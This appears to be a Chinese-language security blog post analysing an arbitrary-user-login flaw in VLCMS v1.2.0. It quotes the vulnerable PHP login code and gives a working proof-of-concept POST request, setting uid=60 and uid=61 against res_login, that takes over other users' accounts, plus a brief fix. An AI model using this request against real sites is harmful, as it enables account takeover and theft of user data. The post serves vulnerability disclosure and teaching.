0x01 前言
每周兩篇文章打卡。壞蛋100塊錢都不給我,好壞好壞的。
0x02 什么是任意用戶登錄漏洞
幾乎每個網站都有自己的會員系統,有會員,就有登錄機制,如果可以登錄其他用戶賬戶,那么就可以竊取其他用戶的資料數據。如果配合上腳本的話,甚至可以批量獲取用戶的數據。對網站來說,任意用戶登錄是一個很高危的漏洞。
0x03 實戰的案例(白盒測試)
Vlcmsv1.2.0,就拿這套CMS來說吧。
vlcms/Application/Media/Controller/MemberController.class.php
post獲取uid傳進autoLogin()中
- public function res_login(){
- parent::autoLogin($_POST['uid']);
- echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
- }
將id傳進entity()。
- protected function autoLogin($uid){
- $user =$this->entity($uid);
- /* 記錄登錄SESSION和COOKIES */
- $auth = array(
- 'mid' => $user['id'],
- 'account' => $user['account'],
- 'nickname' => $user['nickname'],
- 'balance' => $user['balance'],
- 'last_login_time' => $user['login_time'],
- );
- session('member_auth', $auth);
- session('member_auth_sign', data_auth_sign($auth));
- }
entity中直接根據id查詢賬戶了。。所以只需一個id就能登錄任意用戶。
- protected function entity($id){
- $data = M('User','tab_')->find($id);
- if(empty($data)){
- return false;
- }
- return $data;
- }
0x04 實戰的案例(黑盒測試)
http://127.0.0.1/vlcms/index.php?s=/member/res_login/
POST:uid=60
訪問后,返回一串代碼。
<ignore_js_op>
接着訪問http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已經成功登錄賬戶
<ignore_js_op>
訪問:post:uid=61
<ignore_js_op>
接着訪問http://127.0.0.1/vlcms/index.php?s=/member/
成功登錄uid為61的賬戶
<ignore_js_op>
0x05 修復建議
不要用id來判斷賬戶身份。
本文來源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan